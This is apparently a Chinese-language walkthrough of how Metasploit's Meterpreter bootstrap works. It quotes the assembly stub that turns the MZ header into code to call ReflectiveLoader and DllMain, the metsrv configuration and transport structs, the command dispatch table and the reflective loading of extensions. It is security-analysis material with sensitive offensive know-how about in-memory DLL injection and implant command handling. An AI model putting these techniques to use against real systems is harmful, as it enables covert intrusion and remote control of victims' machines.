def asm_invoke_metsrv(opts={})
    asm = %Q^
        ; prologue
          dec ebp               ; 'M'
          pop edx               ; 'Z'
          call $+5              ; call next instruction
          pop ebx               ; get the current location (+7 bytes)
          push edx              ; restore edx
          inc ebp               ; restore ebp
          push ebp              ; save ebp for later
          mov ebp, esp          ; set up a new stack frame
        ; Invoke ReflectiveLoader()
          ; add the offset to ReflectiveLoader() (0x????????)
          add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
          call ebx              ; invoke ReflectiveLoader()
        ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
          ; offset from ReflectiveLoader() to the end of the DLL
          add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
    ^

    unless opts[:stageless] || opts[:force_write_handle] == true
      asm << %Q^
          mov [ebx], edi        ; write the current socket/handle to the config
      ^
    end

    asm << %Q^
          push ebx              ; push the pointer to the configuration start
          push 4                ; indicate that we have attached
          push eax              ; push some arbitrary value for hInstance
          call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
    ^
  End

          dec ebp               ; 'M'
          pop edx               ; 'Z'

两条无效指令仅仅是为了恢复DOS头部标志。

          call $+5              ; call next instruction
          pop ebx               ; get the current location (+7 bytes)

将当前指令的地址保存在ebx中

          push edx              ; restore edx
          inc ebp               ; restore ebp

          add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
          call ebx              ; invoke ReflectiveLoader()

MSF计算出ReflectiveLoader函数相对于PE文件头部的偏移，减去前三条指令占用的7字节，再加上ebx，得到ReflectiveLoader函数在内存中的地址。

add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}

typedef struct _MetsrvConfig
{
	MetsrvSession session;
	MetsrvTransportCommon transports[1];  ///! Placeholder for 0 or more transports
	// Extensions will appear after this
	// After extensions, we get a list of extension initialisers
	// <name of extension>\x00<datasize><data>
	// <name of extension>\x00<datasize><data>
	// \x00
} MetsrvConfig;
typedef struct _MetsrvSession
{
	union
	{
		UINT_PTR handle;
		BYTE padding[8];
	} comms_handle;                       ///! Socket/handle for communications (if there is one).
	DWORD exit_func;                      ///! Exit func identifier for when the session ends.
	int expiry;                           ///! The total number of seconds to wait before killing off the session.
	BYTE uuid[UUID_SIZE];                 ///! UUID
	BYTE session_guid[sizeof(GUID)];      ///! Current session GUID
} MetsrvSession;

typedef struct _MetsrvTransportCommon
{
	CHARTYPE url[URL_SIZE];               ///! Transport url:  scheme://host:port/URI
	int comms_timeout;                    ///! Number of sessions to wait for a new packet.
	int retry_total;                      ///! Total seconds to retry comms for.
	int retry_wait;                       ///! Seconds to wait between reconnects.
} MetsrvTransportCommon;

mov [ebx], edi        ; write the current socket/handle to the config

          push ebx              ; push the pointer to the configuration start
          push 4                ; indicate that we have attached
          push eax              ; push some arbitrary value for hInstance
          call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)

完成内存加载DLL之后，bootstrap以DLL_METASPLOIT_ATTACH为参数调用DllMain，从这里开始就完全进入了metsrv.x86.dll的代码中（参见https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter），执行流程大致是DllMain--->MetasploitDllAttach--->Init--->server_setup。在server_setup函数中根据MetsrvTransportCommon数组创建transports，注册命令分发函数，加载扩展，最后进入server_dispatch循环，接收处理MSF发送过来的命令。

typedef struct command
{
	LPCSTR           method;     ///< Identifier for the command.
	PacketDispatcher request;    ///< Defines the request handler.
	PacketDispatcher response;   ///< Defines the response handler.

	// Internal -- not stored
	struct command   *next;      ///< Pointer to the next command in the command list.
	struct command   *prev;      ///< Pointer to the previous command in the command list.
} Command;

其中method为命令字符串，request，response为命令处理函数。

一个命令分发表是Command baseCommands[]数组，可处理migrate、shutdown等命令，这个数组无法扩展；另一个是Command* extensionCommands指针指向的命令分发表，这是一个链表，可通过command_register函数将其余Command和扩展中的Command动态插入链表中。

typedef struct _MetsrvExtension
{
	DWORD size;                           ///! Size of the extension.
	BYTE dll[1];                          ///! Array of extension bytes (will be more than 1).
} MetsrvExtension;

while (stagelessExtensions->size > 0)
{
	dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size);
	HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size);
	load_extension(hLibrary, TRUE, remote, NULL, extensionCommands);
	stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size);
}

// If the library is not to be stored on disk, 
if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
{
	// try to load the library via its reflective loader...
	library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length);
	if (library == NULL)
	{
	// if that fails, presumably besause the library doesn't support
	// reflective injection, we default to using libloader...
			library = libloader_load_library(targetPath,
				dataTlv.buffer, dataTlv.header.length);
	}
	else
	{
		bLibLoadedReflectivly = TRUE;
	}
	res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
}

          push edx              ; restore edx
          inc ebp               ; restore ebp